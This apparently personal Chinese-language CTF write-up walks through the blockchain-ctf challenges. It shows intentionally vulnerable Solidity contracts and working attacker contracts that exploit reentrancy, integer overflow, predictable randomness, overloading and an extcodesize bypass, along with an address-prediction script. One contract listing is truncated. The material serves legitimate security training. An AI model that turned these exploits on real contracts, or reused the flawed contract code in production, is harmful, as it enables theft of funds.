1. blockchain-ctf靶场
平台地址:https://blockchain-ctf.securityinnovation.com/
大佬blog:https://hitcxy.com/2020/securityinnovation/
写在前面:
惯例感谢pikachu大佬。
RW不会做,靶场还不会吗?blockchain-ctf这个靶场确实向大佬说的更贴近生产,有很多和做题无关的代码,增加了一点点审计工作量。但做的时候还是简单的,如果你觉得很难,那一定是想多了。
要提醒的就是这个靶场坑测试币啊,5ether根本不够因为有道题会生生吃掉你4ether,做到那里你就知道了……
5.7.1. Hello Challenge
1.1. 签到:Donation
1.1.1. source
pragma solidity 0.4.24;
import "../CtfFramework.sol";
import "../../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
contract Donation is CtfFramework{
using SafeMath for uint256;
uint256 public funds;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
funds = funds.add(msg.value);
}
function() external payable ctf{
funds = funds.add(msg.value);
}
function withdrawDonationsFromTheSuckersWhoFellForIt() external ctf{
msg.sender.transfer(funds);
funds = 0;
}
}
1.1.2. solve
- 考点:感觉没有考点。。。
- 直接调用withdrawDonationsFromTheSuckersWhoFellForIt()就行,为什么要骂人><
1.2. private:Lock Box
1.2.1. souce
pragma solidity 0.4.24;
import "../CtfFramework.sol";
contract Lockbox1 is CtfFramework{
uint256 private pin;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
pin = now%10000;
}
function unlock(uint256 _pin) external ctf{
require(pin == _pin, "Incorrect PIN");
msg.sender.transfer(address(this).balance);
}
}
1.2.2. solve
- 考点:
- 读取私有变量
- constructor只在构造的时候执行一次。
- 有点奇怪读0没有value,读1才是pin值……不应该啊。web3.eth.getStorageAt("0xf1e80fe02b23ff27e704aa1fef006d7b34910081", 1, function(x, y) {console.warn(y)}); 提交_pin为读到的值即可
1.3. msg.sender:Piggy Bank
This contract belongs to Charlie with the address 0xbc4bfb890caa811839be474c7bf76fcda1530649
Charlie is the only person capable of withdrawing from this contract
Your wallet is 0xdbc1ce93e1237baf2585ca87909b30a87a2e77b6, so you are not Charlie and you can not withdraw
1.3.1. source
pragma solidity 0.4.24;
import "../CtfFramework.sol";
import "../../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
contract PiggyBank is CtfFramework{
using SafeMath for uint256;
uint256 public piggyBalance;
string public name;
address public owner;
constructor(address _ctfLauncher, address _player, string _name) public payable
CtfFramework(_ctfLauncher, _player)
{
name=_name;
owner=msg.sender;
piggyBalance=piggyBalance.add(msg.value);
}
function() external payable ctf{
piggyBalance=piggyBalance.add(msg.value);
}
modifier onlyOwner(){
require(msg.sender == owner, "Unauthorized: Not Owner");
_;
}
function withdraw(uint256 amount) internal{
piggyBalance = piggyBalance.sub(amount);
msg.sender.transfer(amount);
}
function collectFunds(uint256 amount) public onlyOwner ctf{
require(amount<=piggyBalance, "Insufficient Funds in Contract");
withdraw(amount);
}
}
contract CharliesPiggyBank is PiggyBank{
uint256 public withdrawlCount;
constructor(address _ctfLauncher, address _player) public payable
PiggyBank(_ctfLauncher, _player, "Charlie")
{
withdrawlCount = 0;
}
function collectFunds(uint256 amount) public ctf{
require(amount<=piggyBalance, "Insufficient Funds in Contract");
withdrawlCount = withdrawlCount.add(1);
withdraw(amount);
}
}
1.3.2. solve
- 看代码,用CharliesPiggyBank创建了一个PiggyBank。
- PiggyBank里的withdraw标了internal,只能在内部调用。collectFunds又有onlyOwner,基本安全。
- 但CharliesPiggyBank在继承时为了制造漏洞强行重写了collectFunds,去掉了msg.sender的限制。
- 查看piggyBalance,输入0x214e8348c4f0000调用collectFunds,转账成功
1.4. 整数溢出:SI Token Sale
We are releasing 1000 SI Tokens (SIT) at the low low cost of 1 SIT == 1 ETH (minus a small developer fee).
We have yet to figure out what these tokens will be used for, but we are leaning towards something IOT / Machine Learning / Big Data / Cloud.
Secure your SIT today before they're gone!
1.4.1. source
pragma solidity 0.4.24;
import "../CtfFramework.sol";
// https://github.com/OpenZeppelin/openzeppelin-solidity/blob/v1.8.0/contracts/token/ERC20/StandardToken.sol
import "../StandardToken.sol";
contract SIToken is StandardToken {
using SafeMath for uint256;
string public name = "SIToken";
string public symbol = "SIT";
uint public decimals = 18;
uint public INITIAL_SUPPLY = 1000 * (10 ** decimals);
constructor() public{
totalSupply_ = INITIAL_SUPPLY;
balances[this] = INITIAL_SUPPLY;
}
}
contract SITokenSale is SIToken, CtfFramework {
uint256 public feeAmount;
uint256 public etherCollection;
address public developer;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
feeAmount = 10 szabo;
developer = msg.sender;
purchaseTokens(msg.value);
}
function purchaseTokens(uint256 _value) internal{
require(_value > 0, "Cannot Purchase Zero Tokens");
require(_value < balances[this], "Not Enough Tokens Available");
balances[msg.sender] += _value - feeAmount;
balances[this] -= _value;
balances[developer] += feeAmount;
etherCollection += msg.value;
}
function () payable external ctf{
purchaseTokens(msg.value);
}
// Allow users to refund their tokens for half price ;-)
function refundTokens(uint256 _value) external ctf{
require(_value>0, "Cannot Refund Zero Tokens");
transfer(this, _value);
etherCollection -= _value/2;
msg.sender.transfer(_value/2);
}
function withdrawEther() external ctf{
require(msg.sender == developer, "Unauthorized: Not Developer");
require(balances[this] == 0, "Only Allowed Once Sale is Complete");
msg.sender.transfer(etherCollection);
}
}
1.4.2. solve
- 题目合约提供了捐款和退款(1/2)功能,只要balance足够,refundTokens是可以完成转账的。
- 溢出漏洞 balances[msg.sender] += _value – feeAmount,当value足够小(比如1wei)时,balances[msg.sender]溢出为大整数。
- 查看etherCollection,传入2倍值调用refundTokens。(比如600000000000000002)。
- 但有个问题,没有找到balances[]的声明,怎么能确定没有用safemath的uint呢…… (没有找到就是没有用)
1.5. 函数重写(×)函数重载(√):Secure Bank
Good Afternoon!
Welcome to your Super Secure Digital Bank Account.
You may have heard elsewhere that with blockchain, banks are a thing of the past, what with fully owning your private keys and all...
But that is nonesense! You still need a bank! Who else will send you 30 new credit card offers in the mail each day??
At Super Secure Bank, we bring you the best of both worlds! We let you control the keys to your funds (stored in our smart contract) while still requiring you to register and receive our spam!
1.5.1. source
pragma solidity 0.4.24;
import "../CtfFramework.sol";
contract SimpleBank is CtfFramework{
mapping(address => uint256) public balances;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
balances[msg.sender] = msg.value;
}
function deposit(address _user) public payable ctf{
balances[_user] += msg.value;
}
function withdraw(address _user, uint256 _value) public ctf{
require(_value<=balances[_user], "Insufficient Balance");
balances[_user] -= _value;
msg.sender.transfer(_value);
}
function () public payable ctf{
deposit(msg.sender);
}
}
contract MembersBank is SimpleBank{
mapping(address => string) public members;
constructor(address _ctfLauncher, address _player) public payable
SimpleBank(_ctfLauncher, _player)
{
}
function register(address _user, string _username) public ctf{
members[_user] = _username;
}
modifier isMember(address _user){
bytes memory username = bytes(members[_user]);
require(username.length != 0, "Member Must First Register");
_;
}
function deposit(address _user) public payable isMember(_user) ctf{
super.deposit(_user);
}
function withdraw(address _user, uint256 _value) public isMember(_user) ctf{
super.withdraw(_user, _value);
}
}
contract SecureBank is MembersBank{
constructor(address _ctfLauncher, address _player) public payable
MembersBank(_ctfLauncher, _player)
{
}
function deposit(address _user) public payable ctf{
require(msg.sender == _user, "Unauthorized User");
require(msg.value < 100 ether, "Exceeding Account Limits");
require(msg.value >= 1 ether, "Does Not Satisfy Minimum Requirement");
super.deposit(_user);
}
function withdraw(address _user, uint8 _value) public ctf{
require(msg.sender == _user, "Unauthorized User");
require(_value < 100, "Exceeding Account Limits");
require(_value >= 1, "Does Not Satisfy Minimum Requirement");
super.withdraw(_user, _value * 1 ether);
}
function register(address _user, string _username) public ctf{
require(bytes(_username).length!=0, "Username Not Enough Characters");
require(bytes(_username).length<=20, "Username Too Many Characters");
super.register(_user, _username);
}
}
1.5.2. solve
- 题目是通过SecureBank来给用户创建自己的memberbank,转账方面没有安全问题,
- 本题的考点是函数重写和重载的概念。函数重载是指函数命名相同,但需要函数传入参数的数量或类型不同。 看到securebank
function withdraw(address _user, uint8 _value)
里这个突兀的uint8,导致仍然存在function withdraw(address _user, uint256 _value)
方法,毕竟签名不同=。=。而后面这个就没有msg.sender == _user的要求了。 调用后者就能执行msg.sender.transfer(_value)
从_user 偷钱……。 - 剩下唯一的问题是找到有钱的_user。ropsten查了下合约的创建者是0x2272071889eDCeACABce7dfec0b1E017c6Cad120,检查balance确认思路正确。
- 先注册,再提取,搞掂。做到现在没有一道题需要自己部署攻击合约的,有点无聊-。-
直接部署源代码也能看出来有两个withdraw,存在重载的问题。出题人假装重写了,但其实还在。
1.6. 伪随机: Lottery
彩票,需要猜中seed
Today is your lucky day!
Pick your numbers now and win the grand prize!
The current pot is already up to 0.5 ETH!
Only costs 0.001 ETH to play!
1.6.1. source
pragma solidity 0.4.24;
import "../CtfFramework.sol";
import "../../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
contract Lottery is CtfFramework{
using SafeMath for uint256;
uint256 public totalPot;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
totalPot = totalPot.add(msg.value);
}
function() external payable ctf{
totalPot = totalPot.add(msg.value);
}
function play(uint256 _seed) external payable ctf{
require(msg.value >= 1 finney, "Insufficient Transaction Value");
totalPot = totalPot.add(msg.value);
bytes32 entropy = blockhash(block.number);
bytes32 entropy2 = keccak256(abi.encodePacked(msg.sender));
bytes32 target = keccak256(abi.encodePacked(entropy^entropy2));
bytes32 guess = keccak256(abi.encodePacked(_seed));
if(guess==target){
//winner
uint256 payout = totalPot;
totalPot = 0;
msg.sender.transfer(payout);
}
}
}
1.6.2. solve
- 算出target直接带入就行,毕竟block.number在同一次交易中是相同的。
- 踩了个坑,自己忘了加fallback函数……
contract Attacker{
function attack() public payable {
Lottery _target = Lottery(0x7fe96f8b3447c17448b2cd59dd6b22d804203847);
bytes32 entropy = blockhash(block.number);
bytes32 entropy2 = keccak256(abi.encodePacked(this));
uint seed = uint(entropy^entropy2);
_target.play.value(msg.value)(seed);
}
function () payable{}
function kill() public payable {
selfdestruct(address(0xdBc1ce93E1237baf2585CA87909B30A87A2E77B6));//自己的地址
}//为了把钱要回来真是煞费苦心
}
1.7. 循环:Heads or Tails
Flip a Coin!
Choose heads or tails.
It costs 0.1 ETH to play.
If you win, you get your initial bet back plus 0.05 ETH!
If you pick wrong, we keep your fee.
Sounds like good odds to me! Wanna play?
1.7.1. source
pragma solidity 0.4.24;
import "./CtfFramework.sol";
import "../github/OpenZeppelin/openzeppelin-contracts/contracts/math/SafeMath.sol";
contract HeadsOrTails is CtfFramework{
using SafeMath for uint256;
uint256 public gameFunds;
uint256 public cost;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
gameFunds = gameFunds.add(msg.value);
cost = gameFunds.div(10);
}
function play(bool _heads) external payable ctf{
require(msg.value == cost, "Incorrect Transaction Value");
require(gameFunds >= cost.div(2), "Insufficient Funds in Game Contract");
bytes32 entropy = blockhash(block.number-1);
bytes1 coinFlip = entropy[0] & 1;
if ((coinFlip == 1 && _heads) || (coinFlip == 0 && !_heads)) {
//win,返还1.5倍,即多得0.05
gameFunds = gameFunds.sub(msg.value.div(2));
msg.sender.transfer(msg.value.mul(3).div(2));
}
else {
//loser
gameFunds = gameFunds.add(msg.value);
}
}
}
1.7.2. solve
- 和Ethernaut靶场的coinflip一样嘛只不过循环终于派上用场了。1/0.05=20,调用attack()的时候记得传入value 2ether
- 巨资3eth这要是忘了写个selfdestruct该多心疼
contract Attacker{
function attack() public payable{
HeadsOrTails target = HeadsOrTails(0xa0556a5252439ddd0b10f6354f0798077b2e00c7);
bytes32 entropy = blockhash(block.number-1);
bytes1 coinFlip = entropy[0] & 1;
for(uint i;i<20;i++){
target.play.value(0.1 ether)(coinFlip==1);
}
}
function () payable{}
function kill() public payable {
selfdestruct(address(0xdBc1ce93E1237baf2585CA87909B30A87A2E77B6));//自己的地址
}
}
1.8. 代码逻辑:Record Label
均分eth给所有stake holders
You've made it, kid!
You're officially a rockstar! Now that your killer remix has gone viral, you'll be swimming in dough in no time!
Now for some of the fine print
As your manager, it is my responsibility that all the royalty holders get paid their fare share for each of your sales.
I've set up this smart contract to store all your sales revenue. When you want to withdraw, just enter how much ETH you need and the contract will automatically payout an appropriate percentage to all the stake holders.
Isn't the future nuts???
1.8.1. source
pragma solidity 0.4.24;
//import "../CtfFramework.sol";
//import "../../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
import "./CtfFramework.sol";
import "../github/OpenZeppelin/openzeppelin-contracts/contracts/math/SafeMath.sol";
contract Royalties{
using SafeMath for uint256;
address private collectionsContract;
address private artist;
address[] private receiver;
mapping(address => uint256) private receiverToPercentOfProfit;
uint256 private percentRemaining;
uint256 public amountPaid;
constructor(address _manager, address _artist) public
{
collectionsContract = msg.sender;
artist=_artist;
receiver.push(_manager);
receiverToPercentOfProfit[_manager] = 80;
percentRemaining = 100 - receiverToPercentOfProfit[_manager];
}
modifier isCollectionsContract() {
require(msg.sender == collectionsContract, "Unauthorized: Not Collections Contract");
_;
}
modifier isArtist(){
require(msg.sender == artist, "Unauthorized: Not Artist");
_;
}
function addRoyaltyReceiver(address _receiver, uint256 _percent) external isArtist{
require(_percent
1.8.2. solve
- 还是先实例化源代码看看:0x0448da0179aa06c14b95b7c81dfb3cc3d8f34c2b
- 要提取出目标合约的余额,可能有这几种方向
- 使funds为大整数,这样随便抽都可以提取完。但funds相关用的safemath,基本不可能。
- 使royaltiesPaid为0,
- 构造的时候留了啥后门。注意到部署合约时有
royalties = new Royalties(new Manager(_ctfLauncher), _player);
- Manager的地址是:0xCE9FDBB850E37c0Ae65f47c67f861D914f95d7B7,看到owner是0xdCB37036c66Bc6a5A19ccf0DBc0253e584499954,转账都是给owner,没戏。
- royalities的地址是:0x4E0E63d0c313588009330DDB5b423D6bb6Ebe479,看到amountPaid是0。这……我们来顺一下逻辑。amountPaid只在payoutRoyalties函数中会增加,在withdrawFundsAndPayRoyalties执行royalties.call.value(_withdrawAmount)();给royalties转账时会触发,触发后给receiver[]转账,并将msg.value-amountPaid转给msg.sender(见源代码中的trace1和trace2)。到这里本来是正常的。但withdrawFundsAndPayRoyalties里最后还有一句执行msg.sender.transfer(amountPaid);到底图啥,这不就又加回来了吗?
- 直接令_withdrawAmount=1 eth,执行withdrawFundsAndPayRoyalties就拿到了所有钱。那么问题来了,receiver里没人吗?对(),因为全程只在构造的时候有一句receiver.push(_manager);_manager就是new manager的地址。
- 题外:
- 上了自动审计工具:
docker run -v $(pwd):/tmp mythril/myth a /tmp/target.sol --solv 0.4.24 --exec ution-timeout 60
,审计结果是 Unprotected Ether Withdrawal,感觉不好使。。。
- 上了自动审计工具:
1.9. 重入:trustfund
only allowing you to withdraw 0.1 ETH a year for the next 10 years.
(我已经想起ERC20了。。。好吧不是)
1.9.1. source
pragma solidity 0.4.24;
import "./CtfFramework.sol";
import "../github/OpenZeppelin/openzeppelin-contracts/contracts/math/SafeMath.sol";
contract TrustFund is CtfFramework{
using SafeMath for uint256;
uint256 public allowancePerYear;
uint256 public startDate;
uint256 public numberOfWithdrawls;
bool public withdrewThisYear;
address public custodian;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
custodian = msg.sender;
allowancePerYear = msg.value.div(10);
startDate = now;
}
function checkIfYearHasPassed() internal{
if (now>=startDate + numberOfWithdrawls * 365 days){
withdrewThisYear = false;
}
}
function withdraw() external ctf{
require(allowancePerYear > 0, "No Allowances Allowed");
checkIfYearHasPassed();
require(!withdrewThisYear, "Already Withdrew This Year");
if (msg.sender.call.value(allowancePerYear)()){
withdrewThisYear = true;
numberOfWithdrawls = numberOfWithdrawls.add(1);
}
}
function returnFunds() external payable ctf{
require(msg.value == allowancePerYear, "Incorrect Transaction Value");
require(withdrewThisYear==true, "Cannot Return Funds Before Withdraw");
withdrewThisYear = false;
numberOfWithdrawls=numberOfWithdrawls.sub(1);
}
}
1.9.2. solve
- 先call.value了再加次数,看起来是重入,1/0.1=10
- 大佬们的wp纷纷没有加次数限制,因为call.value 如果异常会转账失败,仅会返回false,不会终止执行。我还是太善良了!()
contract Attacker{
TrustFund target = TrustFund(0xc335f803e10c8d76e34f007076dfc221e6ef392a);
uint flag;
function attack() public payable{
target.withdraw();
}
function () payable{
if(flag<9){
target.withdraw();
flag++;
}
}
function kill() public payable {
selfdestruct(address(0xdBc1ce93E1237baf2585CA87909B30A87A2E77B6));//自己的地址
}
}
1.10. selfdestruct:slotMachine
老虎机。。。Click today and deposit your 0.000001 ETH
1.10.1. source
pragma solidity 0.4.24;
import "./CtfFramework.sol";
import "../github/OpenZeppelin/openzeppelin-contracts/contracts/math/SafeMath.sol";
contract SlotMachine is CtfFramework{
using SafeMath for uint256;
uint256 public winner;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
winner = 5 ether;
}
function() external payable ctf{
require(msg.value == 1 szabo, "Incorrect Transaction Value");
if (address(this).balance >= winner){
msg.sender.transfer(address(this).balance);
}
}
}
1.10.2. solve
- 循环也是可以的。(5-1.5)/0.000001=350w次(并不可以)
- 先自毁强制送钱再补一刀,带入5-1.5-0.000001=3.499999自毁
- pull that lever!!!
1.11. 子合约地址:Rainy Day
The community decided to get together and organize a rainy day fund.
We've selected some very trustworthy people to manage the funds. Don't worry about it.
I assure you, the next time it rains, we'll have the funds for it!
1.11.1. source
pragma solidity 0.4.24;
import "./CtfFramework.sol";
contract DebugAuthorizer{
bool public debugMode;
constructor() public payable{
if(address(this).balance == 1.337 ether){
debugMode=true;
}
}
}
contract RainyDayFund is CtfFramework{
address public developer;
mapping(address=>bool) public fundManagerEnabled;
DebugAuthorizer public debugAuthorizer;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
//debugAuthorizer = (new DebugAuthorizer).value(1.337 ether)(); // Debug mode only used during development
debugAuthorizer = new DebugAuthorizer();
developer = msg.sender;
fundManagerEnabled[msg.sender] = true;
}
modifier isManager() {
require(fundManagerEnabled[msg.sender] || debugAuthorizer.debugMode() || msg.sender == developer, "Unauthorized: Not a Fund Manager");
_;
}
function () external payable ctf{
// Anyone can add to the fund
}
function addFundManager(address _newManager) external isManager ctf{
fundManagerEnabled[_newManager] = true;
}
function removeFundManager(address _previousManager) external isManager ctf{
fundManagerEnabled[_previousManager] = false;
}
function withdraw() external isManager ctf{
msg.sender.transfer(address(this).balance);
}
}
1.11.2. solve
- 需要isManager才能提取,唯一的可能是debugAuthorizer.debugMode()
- 一开始想本地重写debugMode(),未遂,不应该啊我比较远啊。
- 因为debug只在constructor阶段可以用,看一下合约间的关系
- developer:0xeD0D5160c642492b3B482e006F67679F5b6223A2
- rainfund:0x9260f766C0B6b568Ca1689fd658790e956D4B420(是上面的nonce337)
- debugAuthorizer:0x107B773c0eFd9668ba0c915B0405949476B1C933(是上面的nonce1)
- 思路是计算出338的nonce1地址,提前转账1.337 ether。但第一次部署的钱已经拿不回来了(黑心公司还我血汗钱,这道题净损失1.337+2.5!)
- newR = 374c84ad4e641a63c810e661f028d025b6cf6425
- newD = f7af84f87e14c95324eb1ebf7e65030c28afb521
- 给newD转账,重新部署题目,这个时候就可以调用newR的withdraw了。
from ethereum import utils
def getSon(Father,nonce):
sha3_res = utils.mk_contract_address(Father,nonce)
sha3_res_de = utils.decode_addr(sha3_res)
#print('[+]%s,contract_address: %s'%(nonce,sha3_res_de))
return(sha3_res_de)
def FindNonce(Father,Son):
MaxNonce = 100000
for nonce in range(MaxNonce):
res = getSon(Father,nonce)
if int(res,16)==Son:
print('[+]the correct nonce is :%s'%(nonce))
return(int(nonce))
developer= 0xeD0D5160c642492b3B482e006F67679F5b6223A2
rainfund = 0x9260f766C0B6b568Ca1689fd658790e956D4B420
debugAuthorizer = 0x107B773c0eFd9668ba0c915B0405949476B1C933
nonce = FindNonce(developer,rainfund)
newR = getSon(developer,nonce+1)
newD = getSon(newR,1)
print(nonce,newR,newD)
1.12. Raffle
The ticket costs a random amount, somewhere between 0.1 and 0.5 ether.
When the time is right, our administrators will close the contest and finalize the winners.
1.12.1. source
pragma solidity 0.4.24;
import "../CtfFramework.sol";
contract Raffle is CtfFramework{
uint256 constant fee = 0.1 ether;
address private admin;
bytes4 private winningTicket;
uint256 private blocknum;
uint256 public ticketsBought;
bool public raffleStopped;
mapping(address=>uint256) private rewards;
mapping(address=>bool) private potentialWinner;
mapping(address=>bytes4) private ticketNumbers;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
rewards[address(this)] = msg.value;
admin = msg.sender;
}
function buyTicket() external payable ctf{
if(msg.value >= fee){
winningTicket = bytes4(0);
blocknum = block.number+1;
ticketsBought += 1;
raffleStopped = false;
rewards[msg.sender] += msg.value;
ticketNumbers[msg.sender] = bytes4((msg.value - fee)/10**8);
potentialWinner[msg.sender] = true;
}
}
function closeRaffle() external ctf{
require(ticketsBought>0);
require(!raffleStopped);
require(blocknum != 0);
require(winningTicket == bytes4(0));
require(block.number>blocknum);
require(msg.sender==admin || rewards[msg.sender]>0);
winningTicket = bytes4(blockhash(blocknum));
potentialWinner[msg.sender] = false;
raffleStopped = true;
}
function collectReward() external payable ctf{
require(raffleStopped);
require(potentialWinner[msg.sender]);
rewards[address(this)] += msg.value;
if(winningTicket == ticketNumbers[msg.sender]){
msg.sender.transfer(rewards[msg.sender]);
msg.sender.transfer(rewards[address(this)]);
rewards[msg.sender] = 0;
rewards[address(this)] = 0;
}
}
function skimALittleOffTheTop(uint256 _value) external ctf{
require(msg.sender==admin);
require(rewards[address(this)]>_value);
rewards[address(this)] = rewards[address(this)] - _value;
msg.sender.transfer(_value);
}
function () public payable ctf{
if(msg.value>=fee){
this.buyTicket();
}
else if(msg.value == 0){
this.closeRaffle();
}
else{
this.collectReward();
}
}
}
1.12.2. solve
- 需要触发collectReward,并满足
- 除了msg.sender和合约外没有其他账户投钱(因为只返回这两个地址的rewards)
- winningTicket == ticketNumbers[msg.sender]
- bytes4(blockhash(blocknum))= bytes4((msg.value - fee)/10**8);(blocknum为当closeRaffle执行前最后一次买彩票的blocknumber+1),漏洞为PRNG,EVM 能存储的区块哈希为最近的 256 条,两次调用高度超过256的话,值为 0。
- raffleStopped==true
- closeRaffle()
- msg.value=0
- ticketsBought>0——买过彩票自然有
- block.number>blocknum——在buyTicket()后还需要等一等
- rewards[msg.sender]>0——买过彩票自然有
- potentialWinner[msg.sender]——调用closeRaffle()的不能是自己,那就只能是目标合约了。
- 解法
- 先msg.value=0.1ether调用buyTicket ,此时的block.number=9432258,256块以上countdown预计需要33分钟(实际更久)……倒杯卡布奇诺()
https://ropsten.etherscan.io/block/countdown/9432518
- 确认256block is mined后,msg.value=0随便传个0x00触发fallback(之前先把题目合约加到ctf_challenge_add_authorized_sender),此时可以看到raffleStopped已经是true了,不确定的话还可以web3看看winningTicket
- 调用collectReward() 收割
- 踩了个坑就是预计时间到了后其实并不一定真的挖到了那么后面,此时调用collectReward() 交易成功,但是没有过if。所以记得要确认下block状态。
- 先msg.value=0.1ether调用buyTicket ,此时的block.number=9432258,256块以上countdown预计需要33分钟(实际更久)……倒杯卡布奇诺()
1.13. Scratchcard
If you think you need more than 1 ETH to solve this, you're probably going down the wrong path.
1.13.1. source
pragma solidity 0.4.2
4;
import "./CtfFramework.sol";
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
contract Scratchcard is CtfFramework{
event CardPurchased(address indexed player, uint256 cost, bool winner);
mapping(address=>uint256) private winCount;
uint256 private cost;
using Address for address;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
}
modifier notContract(){
require(!msg.sender.isContract(), "Contracts Not Allowed");
_;
}
function play() public payable notContract ctf{
bool won = false;
if((now%10**8)*10**10 == msg.value){
won = true;
winCount[msg.sender] += 1;
cost = msg.value;
msg.sender.transfer(cost);
}
else{
cost = 0;
winCount[msg.sender] = 0;
}
emit CardPurchased(msg.sender, msg.value, won);
}
function checkIfMegaJackpotWinner() public view returns(bool){
return(winCount[msg.sender]>=25);
}
function collectMegaJackpot(uint256 _amount) public notContract ctf{
require(checkIfMegaJackpotWinner(), "User Not Winner");
require(2 * cost - _amount > 0, "Winners May Only Withdraw Up To 2x Their Scratchcard Cost");
winCount[msg.sender] = 0;
msg.sender.transfer(_amount);
}
function () public payable ctf{
play();
}
}
1.13.2. ?solve
- 思考过程():要play()赢25次,就可以调用collectMegaJackpot从奖金池提取amount。
- require(2 * cost - _amount > 0
- 奖金库有3.5ether,但是一次也就0.1xxxether,看起来要赢25*17次。然而其实可以整数溢出,所以约等于没有限制。
- 要求1:!isContract,即extcodesize(account)==0
- 通过构造函数调用可以绕过extcodesize=0,但此时没有fallback会无法transfer吧,卒。——并没有卒
- 搜了一下来源于18年的Fomo3DHuman机制绕过:https://blog.csdn.net/u011721501/article/details/82684747
- 通过delegatecall使msg.sender为账户地址,但delegatecall不能带value,卒。
- 通过构造函数调用可以绕过extcodesize=0,但此时没有fallback会无法transfer吧,卒。——并没有卒
- 要求2:
(now%10**8)*10**10 == msg.value
,每次win都可以把成本拿回来- now==block.timestamp 表示当前区块挖掘时间
- require(2 * cost - _amount > 0
- 放弃了直接看大佬wp
- 字节码逆向下是直接写了个fallback,小于等于二十五次的时候循环调用play(),大于25了就collect,然后return一串长代码,内容是stop和自毁……这,看起来和我最初的想法一样嘛。
- 最后解决:
- 就普通的写在constructor里面然后攻击成功了……此时代码区不是空吗为什么可以transfer呢()
- 注意因为调用ctf_challenge_add_authorized_sender也会增加一次交易,需要计算的是+2的子合约。
攻击合约代码
contract Attacker{
constructor() public payable {
Scratchcard target = Scratchcard(0xb53df9b5d0314fcf511bee5e3893649a83d7c5a9);
for(uint i=0;i<25;i++)
target.play.value((now%10**8)*10**10)();
target.collectMegaJackpot(3.5 ether);
}
function () public payable{}
function kill() public payable {
selfdestruct(address(0xdBc1ce93E1237baf2585CA87909B30A87A2E77B6));//自己的地址
}
}
计算子合约地址的代码再贴一贴
rom ethereum import utils
def getSon(Father,nonce):
sha3_res = utils.mk_contract_address(Father,nonce)
sha3_res_de = utils.decode_addr(sha3_res)
#print('[+]%s,contract_address: %s'%(nonce,sha3_res_de))
return(sha3_res_de)
def FindNonce(Father,Son):
MaxNonce = 100000
for nonce in range(MaxNonce):
res = getSon(Father,nonce)
if int(res,16)==Son:
print('[+]the correct nonceis :%s'%(nonce))
return(int(nonce))
developer= 0xdBc1ce93E1237baf2585CA87909B30A87A2E77B6
rainfund = 0xb3dedbe46f78032b9d7032ab5d7cf6c84e818c05
nonce = FindNonce(developer,rainfund)
print(nonce,getSon(developer,nonce),'start to predict',getSon(developer,nonce+1),getSon(developer,nonce+2))
攻击成功比攻击不成功带给我的打击更大……